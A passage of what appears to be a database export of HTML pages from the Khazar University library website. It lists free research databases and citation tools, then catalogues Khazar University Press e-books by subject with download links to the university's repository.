href=\"http://www.uspto.gov/about/index.jsp\">INFO</a>]</p><p>The United States Patent and Trademark Office (USPTO) is the Federal agency for granting U.S. patents and registering trademarks.</p><p><br></p><p><a href=\"http://databank.worldbank.org/\">World Bank Data Bank</a>&nbsp;[<a href=\"http://databank.worldbank.org/\">INFO</a>]</p><p>The World Bank\'s new site provides a huge library of data on worldwide development.</p><p><br></p><p><a href=\"http://www.zentralblatt-math.org/zbmath/\">Zentralblatt Math</a>&nbsp;[<a href=\"http://www.zentralblatt-math.org/zbmath/about/\">INFO</a>]</p><p>Zentralblatt MATH (ZBMATH) is the world\'s most complete and longest running abstracting and reviewing service in pure and applied mathematics. The ZBMATH database contains about 3 million bibliographic entries with reviews or abstracts drawn from more than 3500 journals and 1100 serials and covers the period from 1868 to present by the recent integration of the Jahrbuch database (JFM). Reviews are presently written by about 6,000 active experts from all over the world. The entries are classified according to the Mathematics Subject Classification Scheme (MSC 2010).</p><p><br></p><p><strong>FREE CITATION TOOLS AND SERVICES&nbsp;</strong></p><p><a href=\"http://www.bibsonomy.org/\">Bibsonomy</a>&nbsp;[<a href=\"http://www.bibsonomy.org/help_en/Main\">INFO</a>]</p><p>BibSonomy is a system for sharing bookmarks and lists of literature. When discovering a bookmark or a publication on the web, you can store it on the BibSonomy server, or tag post to retrieve it more easily. This is very similar to the bookmarks system that you use in your browser. Not only does BibSonomy allow you to access your bibliographical data from wherever you are, it allows you to share what you are reading with your friends, colleagues or the public at large.</p><p><br></p><p><a href=\"http://www.citeulike.org/\">CiteULike</a>&nbsp;[<a href=\"http://www.citeulike.org/faq/faq.adp\">INFO</a>]</p><p>CiteULike is a free service to help you to store, organise and share the scholarly papers you are reading. When you see a paper on the web that interests you, you can click one button and have it added to your personal library. CiteULike automatically extracts the citation details, so there\'s no need to type them in yourself. It all works from within your web browser so there\'s no need to install any software. Because your library is stored on the server, you can access it from any computer with an Internet connection.</p><p><br></p><p><a href=\"http://www.zotero.org/\">Zotero</a>&nbsp;[<a href=\"http://www.zotero.org/support/\">INFO</a>]</p><p>Zotero [zoh-TAIR-oh] is a free, easy-to-use tool to help you collect, organize, cite, and share your research sources. It lives right where you do your work—in the web browser itself.&nbsp; There is also a free standalone version available for every major operating system.&nbsp; This will help you keep your citations and projects organized!<br>  </p>'),(4997,2913,'az','Xəzər Universiteti E-Nəşrləri','Xəzər Universiteti E-Nəşrləri','<p>Many of the books produced by Khazar University Press (KUP) are available free in electronic format. Below is the list of KUP books that are available to download. &nbsp;<strong><br></strong></p><p><br></p><p><strong style=\"font-size:large\">Arxeologiya</strong></p><table><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td>&nbsp;<img src=\"http://library.khazar.org/media/arxeoloq.JPG\" width=\"90\" height=\"93\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/995\">Arxeoloqun çöl gündəliyindən</a>&nbsp;(PDF), 2009<br>&nbsp;<br>Qüdrət İsmayılzadə<br>&nbsp;<br>ISBN 978-9952-20-054-6<br>&nbsp;<br></td></tr></tbody></table><strong style=\"font-size:large\"><br></strong><br><p><strong style=\"font-size:large\">Bioqrafiya  </strong></p><table width=\"627\" height=\"632\"><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><img src=\"http://library.khazar.org/media/img023.jpg\" width=\"98\" height=\"113\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1031/1/Biblioqrafiya%20Hamlet%20edited%20by%20Martha.pdf\">Hamlet İsaxanlı: Biblioqrafiya. Alim, Qurucu, Şair</a>&nbsp;(PDF), 2010<br>&nbsp;<br>ISBN 978-9952-20-048-5&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/img042.jpg\" width=\"91\" height=\"112\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/988/1/Bahlul%20kitab.pdf\">Bəhlul Abdulla-Sevgi dolu alim və pedaqoq</a>&nbsp;(PDF), 2010<br>&nbsp;<br>ISBN 987-9952-20-058-4<br><br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td>&nbsp;<img src=\"http://library.khazar.org/media/bu%20dunyaya.jpg\" width=\"87\" height=\"116\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1123/1/bu%20dunyaya%20ne%20getirdim%20dez%20Times.pdf\">Bu dünyaya nə gətirdim... Hamlet İsayev (İsaxanlı)/ Что в этот мир принес я…Гамлет Исаев (Исаханлы)</a>&nbsp;(PDF), 2005<br>&nbsp;<br>Knyaz Aslan<br>&nbsp;<br>Vahid Ömərli<br>&nbsp;<br>ISBN 9952-20-032-3<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/ISBN%20001.jpg\" width=\"91\" height=\"124\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/820/1/bib9.pdf\">Xəzər Universitəsinin Nəşrləri Aləmində Biblioqrafik Göstərici (1991-2006)</a>&nbsp;(PDF), 2006<br>&nbsp;<br>ISBN 9952-20-033-1<br></td></tr></tbody></table><br><p><strong style=\"font-size:large\"><br></strong></p><p><strong style=\"font-size:large\">İqtisadiyyat, Biznes və Menecment  </strong></p><table width=\"631\" height=\"195\"><tbody><tr><td>&nbsp; &nbsp;&nbsp; &nbsp; &nbsp;<br></td><td><img src=\"http://library.khazar.org/media/dictionary.jpg\" width=\"86\" height=\"125\">&nbsp;</td><td>&nbsp;<br><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1537/1/Dictionary_PM.pdf\">English-Azerbaijani&nbsp; Azerbaijani-English Concise Dictionary of Project Management Terms</a>&nbsp;(PDF), 2012&nbsp;<br>M.N. Nuriyev&nbsp;<br>ISBN 978-9952-20-070-6<br>&nbsp;</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/img044.jpg\" width=\"88\" height=\"129\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1195\">Şirkətlərarası rəqabət</a>&nbsp;(PDF), 2010<br>&nbsp;<br>İntiqam Bəşirov<br><br></td></tr></tbody></table><strong style=\"font-size:large\"><br></strong><br><p><strong style=\"font-size:large\">Təhsil</strong><strong><br></strong></p><table width=\"629\" height=\"129\"><tbody><tr><td><br></td><td><img src=\"http://library.khazar.org/media/img038.jpg\" width=\"87\" height=\"130\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1013/1/In%20search%20of%20Khazar.pdf\">In search of \"Khazar\"</a>&nbsp;(PDF), 2006<br>&nbsp;<br>Hamlet İsaxanlı<br>&nbsp;<br>ISBN 978-9952-20-034-8<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/Picture%20008.jpg\" width=\"87\" height=\"140\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1673/1/ALITHS20082012.pdf\">Müasir dünyada ali təhsil sistemində nələr baş verir və \"2008-2012-ci illərdə Azərbaycan Respublikasının ali təhsil sistemində islahatlar üzrə Dövlət Proqramı \" necə olsa yaxşıdır?</a>&nbsp;(PDF), 2008<br>&nbsp;<br>Hamlet İsaxanlı<br>&nbsp;<br>ISBN 497-9952-20-044-7<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/img045.jpg\" width=\"86\" height=\"133\">&nbsp;</td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1001/1/on%20education%20system_Isaxanli.pdf\">On education system in transition economy: A view from Azerbaijan</a>&nbsp;(PDF), 2006<br>Hamlet Isaxanli&nbsp;<br>ISBN 978-9952-20-037-9&nbsp;<br>This collection of works examines the past and present of Azerbaijani Education System and offers new perspectives on the development and modernization of education policy.<br></td></tr></tbody></table><strong><br></strong><br><p><strong style=\"font-size:large\">Jurnalistika  </strong></p><table><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td>&nbsp;<img src=\"http://library.khazar.org/media/kontrast%20007.jpg\" width=\"81\" height=\"130\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1157/1/The%20titul%20son.pdf\">Jurnalistikaya giriş</a>&nbsp;(PDF), 2001<br>&nbsp;<br>&nbsp;Stein, M.L.&nbsp;<br>&nbsp;<br>Paterno, S.F.<br><br></td></tr></tbody></table><br><br><p><strong style=\"font-size:large\">Tarix  </strong></p><table width=\"482\" height=\"135\"><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/kontrast%20001.jpg\" width=\"90\" height=\"122\">&nbsp;</td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1200/1/Mamed%20Amin%20Rasulzade%20234.pdf\">Məhəmməd Əmin Rəsulzadə və ictimai-siyasi ideallar</a>&nbsp;(PDF), 2005ISBN 9952-20-028-5&nbsp;<br><br></td></tr></tbody></table><strong><br></strong><br><p><strong style=\"font-size:large\">Dilçilik  </strong></p><table width=\"532\" height=\"239\"><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><img src=\"http://library.khazar.org/media/kontrast%20005.jpg\" width=\"86\" height=\"133\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1465\">Azərbaycanda latın əlifbasına keçid və Fərhad Ağazadə</a>&nbsp;(PDF), 2011<br>&nbsp;<br>İsaxan İsaxanlı<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/Azerbaijani%20Language.JPG\" width=\"88\" height=\"125\"></td><td><a href=\"http://dspace.khazar.org/jspui/community-list\">The Azerbaijani Language</a>&nbsp;(PDF), 1997<br>&nbsp;<br>Hamlet Isaxanli<br>Elza Ismayilova<br>Firangiz Nasirova<br>ISBN 5-7843-003-2<br></td></tr></tbody></table><strong><br></strong><br><p><strong style=\"font-size:large\">Ədəbiyyat  </strong><br></p><table width=\"547\" height=\"607\"><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/img054.jpg\" width=\"84\" height=\"119\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1666\">Azərbaycan dünya ədəbiyyatında</a>&nbsp;(PDF), 2012<br>&nbsp;<br>ISBN 978-9952-20-070-6<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td>&nbsp;<img src=\"http://library.khazar.org/media/simpozium.jpg\" width=\"84\" height=\"119\"></td><td><a href=\"file:///C:/Users/userlib101/Downloads/simp%201-ci%20cild%20(1).pdf\">21-ci əsrin pəncərəsindən Mədəniyyət və Kimlik Beynəlxalq Simpoziumun materialları 26-28 May 2014</a>&nbsp;(PDF), 2016 &nbsp;<br>ISBN 978-9952-20-107-9</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td><a href=\"file:///C:/Users/userlib101/Downloads/simp%201-ci%20cild%20(1).pdf\"></a><br></td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/simpozium.jpg\" width=\"89\" height=\"126\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/3411/1/simp%20ii%20cild2.yeni.pdf\">21 - ci əsrin pəncərəsindən Mədəniyyət və Kimlik Beynəlxalq Simpoziumun materialları 26-28 May 2014</a>&nbsp;(PDF), 2016 &nbsp;<br>İSBN 978-9952-20-108-6</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td><a href=\"file:///C:/Users/userlib101/Downloads/simp%201-ci%20cild%20(1).pdf\"></a><br></td></tr><tr><td><br></td><td><img src=\"http://library.khazar.org/media/kontrast%20003.jpg\" width=\"86\" height=\"111\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1119/1/kitabi%20dedem%20qorqud.pdf\">Kitabi Dedem Qorqud</a>&nbsp;(PDF), 2010<br>&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/database%200179.jpg\" width=\"81\" height=\"108\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1155/1/Eflatun%20saracli%20.pdf\">Ömür keçdi yuxu kimi</a>&nbsp;(PDF), 2002<br>&nbsp;<br>Əflatun Saraçlı<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><img src=\"http://library.khazar.org/media/img050.jpg\" width=\"83\" height=\"115\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1069/1/Qacaq%20Isaxan%20dastani.pdf\">Qaçaq İsaxan dastanı</a>&nbsp;(PDF), 2009<br>&nbsp;<br>Zahid Ələmpaşalı<br>&nbsp;ISBN 978-9952-20-056-0<br>&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/img051.jpg\" width=\"85\" height=\"110\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1063/1/Qacaq%20Mahmud.pdf\">Qaçaq Mahmud dastanı</a>&nbsp;(PDF), 2009<br>&nbsp;<br>Zahid Ələmpaşalı<br>ISBN 978-9952-20-057-7<br></td></tr></tbody></table><br><p><strong><br></strong></p><p><strong style=\"font-size:large\">Ədəbiyyatşünaslıq</strong><span style=\"font-size:large\"><br></span></p><table width=\"607\" height=\"351\"><tbody><tr><td>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/H%C9%99yat%C4%B1n%20dastan%C4%B1.JPG\" width=\"82\" height=\"103\"><br></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1891?mode=full&amp;submit_simple=Show+full+item+record\">Həyatın Dastanı: ədəbi-fəlsəfi düşüncələr</a>&nbsp;(PDF), 2012<br>&nbsp;<br>Əli Rza Xələfli<br>&nbsp;<br>ISBN 978-9952-20-071-3<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/img068.jpg\" width=\"86\" height=\"107\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1994\">Незадаром ему мигнули очи - Есенин в Баку</a>&nbsp;(PDF), 2012<br>&nbsp;<br>Исахан Исаханлы<br>ISBN 9952-20-9952-20-074-4<br><br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td>&nbsp;<img src=\"http://library.khazar.org/media/img040.jpg\" width=\"81\" height=\"113\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1291\">Klassik rus poeziyasından nümunələr İsaxanın tərcüməsində</a>&nbsp;(PDF), 2011<br><br>İsaxan İsaxanlı<br><br>ISBN 978-9952-20-64-5<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/img037.jpg\" width=\"85\" height=\"112\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1005\">Şeir gülüstanının təkrarolunmaz çiçəyi - Serqey Yesenin</a>(PDF), 2010<br>&nbsp;<br>İsaxan İsaxanlı<br>&nbsp;<br>ISBN 978-9952-20-059-<br></td></tr></tbody></table><br><p><strong><br></strong></p><p><strong style=\"font-size:large\">Tibb</strong><br></p><table width=\"564\" height=\"88\"><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><img src=\"http://library.khazar.org/media/kontrast%20002.jpg\" width=\"88\" height=\"117\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1159/1/page%201last.pdf\">Ekoloji epidemiologiya: səhiyyədə tətbiqi və tədqiqat metodları</a>&nbsp;(PDF), 2003<br>&nbsp;<br>ISBN 9952-20- 017-X<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/kontrast%20004.jpg\" width=\"87\" height=\"122\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1099/1/Nijat_book.pdf\">Human Physiology: Lectures</a>&nbsp;(PDF), 2004<br>&nbsp;<br>Nizhad Mikayilzade<br>ISBN&nbsp; 9952-20-027-7<br></td></tr></tbody></table><br><p><strong><br></strong></p><p><strong style=\"font-size:large\">Poeziya  </strong></p><table width=\"446\" height=\"930\"><tbody><tr><td>&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;<br></td><td>&nbsp;<img src=\"http://library.khazar.org/media/Picture%20005.jpg\" width=\"87\" height=\"132\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1052/1/Sevgi%20poeziyasi.pdf\">Azərbaycan sevgi poeziyası: birinci kitab</a>&nbsp;(PDF), 2008&nbsp;&nbsp;<br>ISBN 978-9952-20-045-4</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1052/1/Sevgi%20poeziyasi.pdf\">&nbsp;</a></td></tr><tr><td>&nbsp;</td><td>&nbsp;<img src=\"http://library.khazar.org/media/img048.jpg\" width=\"85\" height=\"125\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1052/1/Sevgi%20poeziyasi.pdf\"><br></a><br><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1661\">Azərbaycan sevgi poeziyası: ikinci kitab</a>&nbsp;(PDF), 2009&nbsp; &nbsp;<br>ISBN&nbsp;978-9952-20-050-8<br>&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/database%20017.jpg\" width=\"87\" height=\"105\"></td><td>&nbsp;<br><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1662\">Azərbaycan sevgi poeziyası: üçüncü kitab</a>&nbsp;(PDF), 2009&nbsp; &nbsp;<br>ISBN&nbsp;978-9952-20-051-5<br>&nbsp;</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/bu%20da%20bir.jpg\" width=\"88\" height=\"133\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1461\">Bu&nbsp;da&nbsp;bir&nbsp;həyatdı</a>&nbsp;(PDF), 2004Hamlet IsaxanlıISBN 9952-20-018-8&nbsp;<br></td></tr><tr><td>&nbsp;</td><td><br></td><td><br></td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/Picture%20009.jpg\" width=\"89\" height=\"137\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1480\">Dördlüklər</a>&nbsp;(PDF), 2007 &nbsp;<br>Hamlet Isaxanlı&nbsp;<br>ISBN 978-9952-042-3</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/suleymanli.jpg\" width=\"91\" height=\"118\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1319\">Gecə qapı kimi aç...</a>&nbsp;(PDF), 2011 &nbsp;<br>Mövlüd Süleymanlı &nbsp;<br>ISBN 978-9952-20-066-9</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td>&nbsp;<img src=\"http://library.khazar.org/media/kontrast.jpg\" width=\"87\" height=\"129\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1486/1/kontrast_russon.pdf\">Контрасты</a>&nbsp;(PDF), 2006&nbsp; &nbsp;<br>Гамлет Исаханлы&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td>&nbsp;<img src=\"http://library.khazar.org/media/kontrast%20006%20paint.JPG\" width=\"87\" height=\"128\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1121/1/Afaq%20Shixli-3%20%28Son%29zak%20en%20son.pdf\">Məndən uzaqda</a>&nbsp;(PDF), 2008&nbsp; &nbsp;<br>Afaq Şıxlı&nbsp; &nbsp;<br>ISBN ﻿﻿﻿﻿978-9952-20-047-8&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;<img src=\"http://library.khazar.org/media/img043.jpg\" width=\"87\" height=\"123\"></td><td>&nbsp;<a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1488/1/Tezadlar2%20%20version.pdf\">Təzadlar</a>&nbsp;(PDF), 2001Hamlet İsaxanlıISBN 9952-20-002-1</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/database%2022017.jpg\" width=\"90\" height=\"133\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1490/1/ziyaret%20dezen%20son.pdf\">Ziyarət</a>&nbsp;(PDF), 2010Hamlet İsaxanlıISBN 978-9952-20-049-2&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/Poetik_tercumeler.jpg\" width=\"90\" height=\"157\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/2218/2/poetik%20terc%20yeni.pdf\">Poetik tərcümələr: 1 - ci toplu</a>&nbsp;(PDF), 2005<br>Hamlet İsaxanlı<br>ISBN 978-9952-20-031-5<br>&nbsp;<br></td></tr></tbody></table><strong></strong><strong></strong><br><br><p><strong style=\"font-size:large\">Siyasət</strong></p><table width=\"571\" height=\"162\"><tbody><tr><td>&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/database%20193.jpg\" width=\"88\" height=\"136\"><br></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/3197/1/Heyd%C9%99r%20%C6%8Fliyev%20-%207-8%20birlesib.pdf\">Heydər Əliyev və İranla daimi dostluğa əsaslanan baxış</a>&nbsp;(PDF), 2014Möhsün Pakayin&nbsp;İSBN 978-9952-20-093-5<div><br></div></td></tr></tbody></table><strong><br></strong><br><p><strong style=\"font-size:large\"><strong>Din</strong></strong></p><table><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><strong><img src=\"http://library.khazar.org/media/img041.jpg\" width=\"92\" height=\"124\"></strong></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1808\">Amerika müsəlmanları</a>&nbsp;(PDF), 2010&nbsp;&nbsp;<br>ISBN 978-9952-20-060-7</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/huseyn%20tovfiqi.jpg\" width=\"92\" height=\"137\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/2711/1/Dinler%20cap.pdf\">Böyük dinlərlə tanışlıq</a>&nbsp;(PDF), 2013<br>Hüseyn Tövfiqi<br>ISBN 978-9952-20-080-5<br>&nbsp;<br></td></tr></tbody></table><strong><br></strong><br><p><strong style=\"font-size:large\">Qaydalar və əsasnamələr  </strong></p><br><table><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/esasname.JPG\" width=\"87\" height=\"115\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/2305\">Əsasnamələr və qaydalar toplusu</a>&nbsp;(PDF), 2013 &nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr></tbody></table><strong><br></strong><br><p><strong style=\"font-size:large\">Elm və Sənət  </strong></p><br><table><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td><img src=\"http://library.khazar.org/media/Picture%20004.jpg\" width=\"88\" height=\"115\"></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1651/1/ELM%20ve%20SANAT%20book%201%20yeni.pdf\">Elm və sənət məclisi 1-10</a>&nbsp;(PDF), 2008&nbsp;&nbsp;<br>ISBN 978-9952-20-046-1</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><strong><img src=\"http://library.khazar.org/media/elm.JPG\" width=\"90\" height=\"120\"></strong></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1650\">Elm və sənət məclisi 11-20</a>&nbsp;(PDF), 2011&nbsp;<br>ISBN 978-9952-20-065-2</td></tr></tbody></table><strong><br></strong><br><p><strong style=\"font-size:large\">Sosial Elmlər</strong></p><table><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td><td><strong><strong><img src=\"http://library.khazar.org/media/CRRC.JPG\" width=\"94\" height=\"125\"></strong></strong></td><td><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1639/1/Final%20CB%202011%20questionnaire%20ENG.pdf\">Caucasus Barometer 2011</a>&nbsp;(PDF), 2011</td></tr></tbody></table><strong><br></strong><br><p><strong style=\"font-size:large\">Kataloq</strong></p><br><table width=\"632\" height=\"64\"><tbody><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td><strong><img src=\"http://library.khazar.org/media/cataloq.jpg\" width=\"90\" height=\"124\"></strong>&nbsp;<br></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/447\">Khazar University Catalog 2008-2009</a>&nbsp;(PDF), 2008 &nbsp;<br>Khazar University Catalog &nbsp;reflects the general information on Khazar University. It is designed primarily for students and academics who are interested in the undergraduate, graduate and professional study programs. It includes information regarding academic requirements, course offerings, resources available, Schools, Academic Departments, Institutes and Centers.</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/Xezer%20Universiteti%20kataloq.JPG\" width=\"90\" height=\"95\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/2991\">Khazar University Catalog</a>&nbsp;(PDF), 2013<br>&nbsp;<br>&nbsp;<br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/texnoloji%20laboratoriya.JPG\" width=\"90\" height=\"96\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/3458\">Khazar University. Technological Laboratories &amp; Centers</a>&nbsp;(PDF), 2016<br>&nbsp;<br>ISBN 978-9952-20-110-9<br></td></tr></tbody></table><strong><br></strong><br><p style=\"font-size:large\"><strong><strong>Tədqiqat Jurnalları/ Dövri Nəşrlər</strong></strong><strong></strong></p><table width=\"635\" height=\"553\"><tbody><tr><td>&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td><td>&nbsp;<img src=\"http://library.khazar.org/media/img046.jpg\" width=\"91\" height=\"132\"></td><td><a href=\"http://dspace.khazar.org/jspui/handle/123456789/160\">Azerbaijan Archaeology</a>&nbsp;(PDF) &nbsp;<br>The Azerbaijani Archaeology journal is a popular science journal published by the Department of History and Archaeology of Khazar University since 1999. The journal was founded by Prof. Hamlet Isakhanli. The chief editor of the journal is Prof. Qudrat Ismailzade...&nbsp;<a href=\"http://library.khazar.org/s140/Azerbaijan--Archaeology/en\">Read more...</a><br></td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>&nbsp;</td><td><img src=\"http://library.khazar.org/media/HSS.JPG\" width=\"90\" height=\"128\"><br></td><td>&nbsp;<a href=\"http://jhss-khazar.org/about-journal/\">Khazar Journal of Humanities and Social Sciences</a>&nbsp;(PDF)&nbsp;<br>Khazar Journal of Humanities and Social Sciences is an open-access, peer-reviewed journal published by Khazar University Press (Baku, Azerbaijan).The Journal focuses on the results of original research projects in various fields of History, Politics, International Relations, Education, Culture, History of Thoughts, Language and Literature, Economics and Law...&nbsp;<a href=\"http://jhss-khazar.org/about-journal/\">Read 